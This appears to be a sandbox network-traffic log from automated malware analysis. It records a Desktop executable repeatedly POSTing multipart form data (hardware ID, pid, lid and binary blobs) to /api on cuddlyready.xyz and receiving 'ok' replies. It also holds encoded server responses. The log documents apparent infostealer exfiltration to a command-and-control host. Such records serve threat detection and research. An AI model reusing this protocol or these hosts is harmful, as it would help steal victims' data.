2024-12-23 07:15:27 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qtb77j222ur0farbsmv3b3bmgu; expires=Fri, 18 Apr 2025 01:02:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vi2GL2vKtoba22lefw4SemlLBEqpJrLA11gkIzfZkeU6RQxgMibcZMDVOmsVHvOnIUgMAXfoEBC8DAVDKl9Otd2VT8MTYitHtd2AC%2FE%2BWOmB3ZxuUzdwrmm8U9Qw%2ByI5mtA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668f7b1bb97d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1755&rtt_var=700&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1663817&cwnd=218&unsent_bytes=0&cid=52980028e3dcaecd&ts=778&x=0"
2024-12-23 07:15:27 UTC	246	IN	Data Raw: 34 39 31 63 0d 0a 56 52 45 73 2b 49 7a 78 43 2b 36 53 44 4b 6f 42 65 6f 4c 4e 54 76 71 79 6f 52 6f 42 6d 48 6a 76 65 75 63 33 38 68 36 55 32 4f 59 75 4d 31 72 61 74 73 55 6e 7a 4f 46 70 69 44 73 4f 38 4c 67 72 31 70 44 41 66 69 4f 69 48 6f 34 57 6c 46 4c 65 50 4f 4b 31 78 47 39 33 54 5a 54 2f 6c 43 66 4d 39 33 53 49 4f 79 48 35 37 79 75 55 6b 4a 73 34 5a 50 49 61 6a 68 61 46 56 70 6c 78 35 4c 53 46 50 58 31 4c 6b 4f 6d 53 62 34 2f 2b 59 63 39 6b 48 2b 4f 6e 49 4a 50 66 79 58 63 6a 74 46 71 4b 41 4d 55 4e 30 46 50 78 72 49 63 59 63 46 2b 54 72 6f 77 6e 6c 62 42 70 78 43 4e 41 6f 4b 77 72 6d 4e 37 48 66 6d 72 77 45 49 63 65 68 46 4f 59 62 76 32 2b 6a 6a 31 7a 53 4a 48 6a 6d 33 75 43 39 47 62 45 59 68 58 6a 37 32 4c 59 31 39 73 34 Data Ascii: 491cVREs+IzxC+6SDKoBeoLNTvqyoRoBmHjveuc38h6U2OYuM1ratsUnzOFpiDsO8Lgr1pDAfiOiHo4WlFLePOK1xG93TZT/lCfM93SIOyH57yuUkJs4ZPIajhaFVplx5LSFPX1LkOmSb4/+Yc9kH+OnIJPfyXcjtFqKAMUN0FPxrIcYcF+TrownlbBpxCNAoKwrmN7HfmrwEIcehFOYbv2+jj1zSJHjm3uC9GbEYhXj72LY19s4
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 4f 37 70 4a 76 78 75 55 52 49 56 78 35 72 7a 45 4b 44 31 58 32 75 6d 66 4b 64 53 77 5a 73 52 74 48 65 4f 67 4b 35 6e 51 30 58 64 6a 2b 52 4b 46 48 49 39 61 6e 33 50 34 73 49 4d 2f 65 6b 6d 56 36 5a 74 76 67 2f 4d 75 68 69 4d 66 2b 4f 39 30 32 50 44 54 65 32 44 75 46 35 78 59 6d 68 75 4a 50 50 47 32 78 47 38 7a 53 4a 54 76 6e 6d 6d 65 2b 47 58 44 5a 67 72 72 70 69 47 56 30 4d 35 79 62 50 6b 61 69 68 4b 50 57 70 70 34 2b 37 65 43 4e 33 4d 4f 31 4b 36 55 63 63 79 6f 4c 75 74 6d 43 4f 65 6a 4f 74 72 71 67 32 63 74 34 31 71 4b 46 4d 55 4e 30 48 54 7a 75 59 63 38 66 45 32 53 35 59 46 70 6e 76 5a 6a 7a 58 45 65 35 61 45 6d 6d 38 4c 4a 64 6d 58 35 45 34 59 52 67 46 4b 55 50 4c 6a 36 67 79 38 7a 46 74 72 50 6e 6d 4b 41 2b 6e 6e 49 49 77 65 75 74 6d 79 66 33 49 4d Data Ascii: O7pJvxuURIVx5rzEKD1X2umfKdSwZsRtHeOgK5nQ0Xdj+RKFHI9an3P4sIM/ekmV6Ztvg/MuhiMf+O902PDTe2DuF5xYmhuJPPG2xG8zSJTvnmme+GXDZgrrpiGV0M5ybPkaihKPWpp4+7eCN3MO1K6UccyoLutmCOejOtrqg2ct41qKFMUN0HTzuYc8fE2S5YFpnvZjzXEe5aEmm8LJdmX5E4YRgFKUPLj6gy8zFtrPnmKA+nnIIweutmyf3IM
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 34 46 59 79 78 57 58 5a 4c 62 69 78 42 31 77 57 70 6e 6b 30 56 79 50 2f 6d 44 50 64 56 6a 2f 34 54 58 59 31 38 38 34 4f 37 6f 58 6a 42 43 44 52 35 39 78 39 62 53 4b 4f 48 5a 42 6b 75 36 54 5a 49 6e 30 5a 63 4e 67 46 65 53 39 4a 70 6a 59 78 6e 6c 70 38 46 72 44 57 49 4a 4e 30 43 53 32 69 35 4d 38 4d 58 75 5a 34 4a 31 75 6d 72 42 78 68 6e 70 59 35 36 4e 73 77 4a 44 4f 63 47 62 2f 46 59 77 53 69 31 43 61 63 50 36 30 68 79 56 38 53 70 72 69 6d 32 4f 42 2f 6d 72 41 61 68 50 72 71 53 79 5a 32 6f 4d 32 49 2f 30 43 7a 55 44 46 59 5a 64 77 2b 37 58 47 41 6e 42 41 6c 4f 6d 46 4b 5a 4f 2b 64 34 68 6b 46 4b 44 33 62 4a 54 5a 77 33 4e 70 2f 68 71 4b 46 59 42 57 6c 33 2f 37 76 59 34 35 64 45 71 57 35 35 35 76 6a 50 64 71 7a 58 45 64 36 61 4d 67 32 4a 36 44 66 33 75 36 Data Ascii: 4FYyxWXZLbixB1wWpnk0VyP/mDPdVj/4TXY1884O7oXjBCDR59x9bSKOHZBku6TZIn0ZcNgFeS9JpjYxnlp8FrDWIJN0CS2i5M8MXuZ4J1umrBxhnpY56NswJDOcGb/FYwSi1CacP60hyV8Sprim2OB/mrAahPrqSyZ2oM2I/0CzUDFYZdw+7XGAnBAlOmFKZO+d4hkFKD3bJTZw3Np/hqKFYBWl3/7vY45dEqW555vjPdqzXEd6aMg2J6Df3u6
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 4a 5a 30 43 53 32 73 34 30 6c 66 55 43 54 34 35 56 68 69 2f 35 6a 77 32 55 54 35 36 67 71 6c 64 6a 4f 66 57 44 37 48 6f 63 4b 68 6c 36 61 63 66 7a 36 79 6e 64 30 56 74 71 32 30 30 36 41 32 58 37 54 63 51 36 67 73 47 4b 42 6b 4d 52 30 49 36 4a 61 6a 68 65 4d 57 70 68 30 2b 62 57 41 4f 58 56 49 6c 2b 75 63 59 35 37 34 59 4d 56 6f 46 2b 75 39 4c 4a 58 55 7a 33 78 72 38 52 44 4e 56 73 56 53 69 44 79 75 2b 72 45 36 66 45 36 5a 2b 4e 4e 32 77 75 6b 75 7a 32 39 59 75 4f 38 67 6c 74 44 4d 64 47 2f 78 45 6f 77 55 69 31 4b 56 64 66 36 79 6c 6a 5a 33 52 70 76 67 6e 47 69 49 39 57 76 4d 5a 42 7a 6d 6f 47 7a 57 6b 4d 52 67 49 36 4a 61 6f 6a 2b 77 46 37 46 47 74 71 58 4b 4c 6a 4e 4a 6c 71 37 4c 4b 59 44 7a 59 73 42 73 48 75 6d 6a 4a 70 48 62 7a 33 4e 6e 39 68 4f 49 48 Data Ascii: JZ0CS2s40lfUCT45Vhi/5jw2UT56gqldjOfWD7HocKhl6acfz6ynd0Vtq2006A2X7TcQ6gsGKBkMR0I6JajheMWph0+bWAOXVIl+ucY574YMVoF+u9LJXUz3xr8RDNVsVSiDyu+rE6fE6Z+NN2wukuz29YuO8gltDMdG/xEowUi1KVdf6yljZ3RpvgnGiI9WvMZBzmoGzWkMRgI6Jaoj+wF7FGtqXKLjNJlq7LKYDzYsBsHumjJpHbz3Nn9hOIH
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 36 35 4c 32 4e 4a 58 31 44 6c 65 61 62 59 49 33 30 61 38 56 6c 46 4f 71 75 4b 35 62 65 79 7a 67 74 75 68 32 56 57 4e 30 56 73 57 7a 74 71 4a 49 36 55 6b 4f 56 72 6f 77 6e 6c 62 42 70 78 43 4e 41 6f 4b 59 2b 6e 4e 33 52 63 57 54 30 46 59 34 4b 68 46 69 62 62 76 47 31 67 44 42 2f 53 4a 58 6f 6b 6d 79 47 2f 47 6e 4e 61 42 66 73 37 32 4c 59 31 39 73 34 4f 37 6f 30 68 67 75 53 56 70 35 33 34 4b 48 45 4b 44 31 58 32 75 6d 66 4b 64 53 77 62 63 4e 6f 48 4f 43 6a 4c 4a 7a 64 77 32 70 73 2f 52 32 45 45 35 64 66 6c 33 76 39 73 6f 38 34 64 56 79 57 34 49 46 73 6e 75 49 75 68 69 4d 66 2b 4f 39 30 32 4f 62 45 61 48 50 35 57 4c 77 4f 68 6b 4f 62 63 66 72 36 6d 33 6c 71 44 70 33 69 30 7a 48 4d 39 6d 48 42 59 42 66 68 70 69 43 56 31 63 70 39 59 76 77 65 68 78 4b 46 55 35 Data Ascii: 65L2NJX1DleabYI30a8VlFOquK5beyzgtuh2VWN0VsWztqJI6UkOVrownlbBpxCNAoKY+nN3RcWT0FY4KhFibbvG1gDB/SJXokmyG/GnNaBfs72LY19s4O7o0hguSVp534KHEKD1X2umfKdSwbcNoHOCjLJzdw2ps/R2EE5dfl3v9so84dVyW4IFsnuIuhiMf+O902ObEaHP5WLwOhkObcfr6m3lqDp3i0zHM9mHBYBfhpiCV1cp9YvwehxKFU5
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 6e 58 64 30 51 74 71 32 30 32 71 4c 38 32 2f 43 61 68 54 76 71 43 69 4b 32 73 52 71 59 76 73 52 67 42 53 46 57 4a 31 32 39 37 4f 4a 4f 33 35 4a 6e 65 47 57 4b 63 4b 77 61 64 41 6a 51 4b 43 4f 49 5a 50 63 6d 43 49 6a 35 56 53 55 57 49 4a 5a 30 43 53 32 75 6f 34 79 65 55 4f 5a 34 5a 42 37 6a 66 5a 38 79 47 34 53 38 71 55 6e 6e 64 33 4f 64 57 44 38 48 49 59 55 6c 31 79 51 66 2f 33 36 79 6e 64 30 56 74 71 32 30 30 71 62 35 6d 54 50 62 77 37 72 72 69 2b 4f 33 64 4d 34 4c 62 6f 4c 69 67 6e 46 44 59 5a 73 34 62 32 62 65 57 6f 4f 6e 65 4c 54 4d 63 7a 32 5a 38 35 6b 48 75 36 39 4b 5a 37 66 7a 48 46 71 2f 68 4b 4f 47 49 46 52 6c 33 6e 31 74 6f 38 77 63 45 47 65 35 35 31 67 67 37 41 67 69 47 51 41 6f 50 64 73 75 63 76 41 64 47 36 36 42 63 4d 42 78 56 4b 63 50 4b 37 Data Ascii: nXd0Qtq202qL82/CahTvqCiK2sRqYvsRgBSFWJ1297OJO35JneGWKcKwadAjQKCOIZPcmCIj5VSUWIJZ0CS2uo4yeUOZ4ZB7jfZ8yG4S8qUnnd3OdWD8HIYUl1yQf/36ynd0Vtq200qb5mTPbw7rri+O3dM4LboLignFDYZs4b2beWoOneLTMcz2Z85kHu69KZ7fzHFq/hKOGIFRl3n1to8wcEGe551gg7AgiGQAoPdsucvAdG66BcMBxVKcPK7
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 32 36 52 2b 4a 5a 75 6d 72 4a 62 79 32 30 57 35 37 6c 73 68 2b 2b 4e 4f 47 7a 67 57 74 55 68 6e 42 57 58 63 4c 62 69 78 43 4a 30 54 70 33 30 68 57 36 41 34 57 58 46 62 7a 72 76 71 44 71 62 33 38 42 70 61 72 59 52 67 46 6a 4c 46 5a 64 6b 74 75 4c 45 47 48 52 59 6d 63 47 51 65 49 57 77 49 49 68 6b 44 71 44 33 62 4b 61 51 30 58 74 7a 2b 52 57 63 4a 73 55 4e 69 55 4b 32 73 5a 49 77 59 30 32 4d 35 5a 35 6c 6e 63 34 75 6b 44 64 4b 73 76 31 2b 79 73 2b 44 5a 31 79 30 57 6f 78 59 33 57 79 4a 50 4f 44 36 33 47 55 39 44 6f 69 75 79 79 6e 4c 38 33 7a 61 5a 52 76 32 72 47 75 6d 37 75 52 75 61 66 30 4b 69 67 2b 4b 46 64 34 38 2b 66 72 63 44 6a 4e 48 6e 66 57 43 66 34 48 67 61 59 68 63 56 71 43 33 62 4d 43 51 39 6e 74 74 39 42 32 62 43 63 68 79 68 6e 62 78 71 6f 4d 67 Data Ascii: 26R+JZumrJby20W57lsh++NOGzgWtUhnBWXcLbixCJ0Tp30hW6A4WXFbzrvqDqb38BparYRgFjLFZdktuLEGHRYmcGQeIWwIIhkDqD3bKaQ0Xtz+RWcJsUNiUK2sZIwY02M5Z5lnc4ukDdKsv1+ys+DZ1y0WoxY3WyJPOD63GU9DoiuyynL83zaZRv2rGum7uRuaf0Kig+KFd48+frcDjNHnfWCf4HgaYhcVqC3bMCQ9ntt9B2bCchyhnbxqoMg
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 4b 64 59 6f 7a 33 66 74 35 34 56 4f 69 73 4e 6f 4c 75 2f 56 4e 76 2f 42 32 58 48 34 4e 7a 73 44 79 34 2b 6f 74 33 4b 33 66 61 70 74 4e 57 77 72 42 32 69 44 74 59 31 61 77 69 6c 74 66 56 61 53 37 53 4f 62 63 69 78 33 6d 58 61 62 53 4f 67 79 64 69 52 5a 66 69 30 79 66 4d 39 69 36 51 4d 31 61 67 71 7a 33 59 69 4a 4d 71 4f 4b 39 4a 32 6b 6a 58 53 74 35 6c 74 71 7a 45 62 79 45 41 32 76 7a 54 4d 63 79 33 62 64 70 78 48 75 4f 35 4c 39 2f 75 2f 56 39 74 2f 52 75 62 43 4a 4a 61 72 6b 4c 6a 75 59 6f 35 64 46 69 4c 72 74 30 70 67 37 41 32 38 53 4e 51 6f 4a 42 69 32 4d 69 44 49 43 50 50 47 59 4d 57 67 6b 4f 42 4d 64 47 30 67 7a 5a 6c 58 6f 33 68 30 79 66 4d 39 69 36 51 4d 56 61 67 71 7a 33 59 69 4a 4d 71 4f 4b 39 4a 32 6b 6a 58 53 74 35 6c 74 71 7a 45 62 79 45 41 32 Data Ascii: KdYoz3ft54VOisNoLu/VNv/B2XH4NzsDy4+ot3K3faptNWwrB2iDtY1awiltfVaS7SObcix3mXabSOgydiRZfi0yfM9i6QM1agqz3YiJMqOK9J2kjXSt5ltqzEbyEA2vzTMcy3bdpxHuO5L9/u/V9t/RubCJJarkLjuYo5dFiLrt0pg7A28SNQoJBi2MiDICPPGYMWgkOBMdG0gzZlXo3h0yfM9i6QMVagqz3YiJMqOK9J2kjXSt5ltqzEbyEA2
2024-12-23 07:15:27 UTC	1369	IN	Data Raw: 73 39 33 6a 4c 49 31 61 67 6f 32 7a 41 6b 4d 4a 79 63 2f 63 56 69 6c 53 43 54 35 63 38 75 50 71 4b 64 79 73 4f 6d 2b 53 44 5a 49 50 33 49 73 35 74 46 71 43 77 59 6f 47 51 31 54 67 37 71 56 54 4e 43 73 55 4e 30 44 76 31 71 4a 59 78 63 46 69 5a 71 61 31 58 6f 65 4a 70 32 47 42 61 30 61 49 6f 6a 73 58 41 61 47 54 45 4a 4b 41 4b 67 6b 57 54 50 73 65 73 68 7a 64 39 53 64 71 67 30 33 48 4d 71 43 37 6c 63 52 2f 77 72 47 7a 57 6b 4d 38 34 4f 37 6f 58 6e 78 2b 56 56 74 78 37 37 4c 33 45 4b 44 31 58 32 76 6a 54 4d 64 2b 2b 4c 74 6f 6a 51 4b 44 6f 49 70 58 52 77 48 5a 67 36 41 69 4c 47 35 4e 57 31 30 4c 49 6c 35 59 77 59 30 33 59 33 35 35 74 6d 75 56 74 32 47 51 6d 33 6f 49 2b 6e 38 44 41 4f 6b 2f 39 46 34 45 6d 75 32 4b 42 65 2b 62 34 6f 6a 52 6c 54 64 71 67 30 33 Data Ascii: s93jLI1ago2zAkMJyc/cVilSCT5c8uPqKdysOm+SDZIP3Is5tFqCwYoGQ1Tg7qVTNCsUN0Dv1qJYxcFiZqa1XoeJp2GBa0aIojsXAaGTEJKAKgkWTPseshzd9Sdqg03HMqC7lcR/wrGzWkM84O7oXnx+VVtx77L3EKD1X2vjTMd++LtojQKDoIpXRwHZg6AiLG5NW10LIl5YwY03Y355tmuVt2GQm3oI+n8DAOk/9F4Emu2KBe+b4ojRlTdqg03

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49719	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:28 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CKENAS7ISJTPPQ3J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: cuddlyready.xyz
2024-12-23 07:15:28 UTC	12835	OUT	Data Raw: 2d 2d 43 4b 45 4e 41 53 37 49 53 4a 54 50 50 51 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 4b 45 4e 41 53 37 49 53 4a 54 50 50 51 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 4b 45 4e 41 53 37 49 53 4a 54 50 50 51 33 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 4b Data Ascii: --CKENAS7ISJTPPQ3JContent-Disposition: form-data; name="hwid"E13C65341E4EA067AC8923850305D13E--CKENAS7ISJTPPQ3JContent-Disposition: form-data; name="pid"2--CKENAS7ISJTPPQ3JContent-Disposition: form-data; name="lid"PsFKDg--pablo--CK
2024-12-23 07:15:29 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bbi9q90afv2qodkdi35ntdoeqc; expires=Fri, 18 Apr 2025 01:02:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=thKiSQk4aKVbJVDyXYyhosLZqKyE%2BwC9c4dbxd6pj1km%2FdK7foO9Q3Gy8hqf3K2x7A%2BWbpTS2lRGCNkzJlCZjkki%2BXcHWNXeRP9SOs%2FmHklzR0fHJ98AdSKyPkgG2fCF0r0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668f896d3c4378-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1719&rtt_var=669&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13772&delivery_rate=1606160&cwnd=235&unsent_bytes=0&cid=8dc9ce8653db5073&ts=859&x=0"
2024-12-23 07:15:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:15:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.10	49725	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:30 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0U2LZXDXL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15020 Host: cuddlyready.xyz
2024-12-23 07:15:30 UTC	15020	OUT	Data Raw: 2d 2d 30 55 32 4c 5a 58 44 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 30 55 32 4c 5a 58 44 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 55 32 4c 5a 58 44 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 30 55 32 4c 5a 58 44 58 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --0U2LZXDXLContent-Disposition: form-data; name="hwid"E13C65341E4EA067AC8923850305D13E--0U2LZXDXLContent-Disposition: form-data; name="pid"2--0U2LZXDXLContent-Disposition: form-data; name="lid"PsFKDg--pablo--0U2LZXDXLContent-Disp
2024-12-23 07:15:31 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p0pre12o8988aheu39cno6d83p; expires=Fri, 18 Apr 2025 01:02:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qxLw9PYCe2mi4ulNubiC9tzzxWT6FgK%2BhzXdNW%2BtyhNcX0p%2BIEbvTrTz05c3gkE3eQQ3F3LjCow9CaQ2jS%2BGUCrwPluThfYlJ3YMDBbhr5OhvypeQ%2BEcRbs3SHgLxIK0AC4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668f973f0bc420-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1483&min_rtt=1476&rtt_var=567&sent=12&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15950&delivery_rate=1904761&cwnd=225&unsent_bytes=0&cid=b8398216c6721446&ts=837&x=0"
2024-12-23 07:15:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:15:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49731	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:15:33 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=YNIV021WBUFPCJKQ6J User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20436 Host: cuddlyready.xyz
2024-12-23 07:15:33 UTC	15331	OUT	Data Raw: 2d 2d 59 4e 49 56 30 32 31 57 42 55 46 50 43 4a 4b 51 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 33 43 36 35 33 34 31 45 34 45 41 30 36 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 4e 49 56 30 32 31 57 42 55 46 50 43 4a 4b 51 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 59 4e 49 56 30 32 31 57 42 55 46 50 43 4a 4b 51 36 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --YNIV021WBUFPCJKQ6JContent-Disposition: form-data; name="hwid"E13C65341E4EA067AC8923850305D13E--YNIV021WBUFPCJKQ6JContent-Disposition: form-data; name="pid"3--YNIV021WBUFPCJKQ6JContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 07:15:33 UTC	5105	OUT	Data Raw: 00 00 00 00 00 00 60 83 eb 8b 82 f9 0d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 70 fd 51 30 bf e1 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d ae 2f 0a e6 37 fc 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c1 f5 47 c1 fc 86 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b8 be 28 98 df f0 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 d7 1f 05 f3 1b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e0 fa a2 60 7e c3 4f 03 00 00 Data Ascii: `?lpQ0/74G6(~`~O
2024-12-23 07:15:34 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:15:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=spbhhhnu3aepeeu92dv81te2pt; expires=Fri, 18 Apr 2025 01:02:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jIsJ8yOMfkFNOJjT5owYOkSAgfILVw1jMFTjvlAzCWnrobeXCPkOHI%2FZjbWKKgGCtoAx2q7N5MiTWCk4SV%2BqQWdEQLHyJc%2F1jcc7luA6dDD1TpYqm%2F17wZJYkUs%2BzTOa46U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668fa5ed070f8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1480&min_rtt=1476&rtt_var=562&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21397&delivery_rate=1932495&cwnd=232&unsent_bytes=0&cid=c5791a1bd4e50bff&ts=929&x=0"
2024-12-23 07:15:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:15:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49739	172.67.150.173	443	7688	C:\Users\user\Desktop\0OkLsJL2Bn.exe

Timestamp	Bytes transferred	Direction	Data
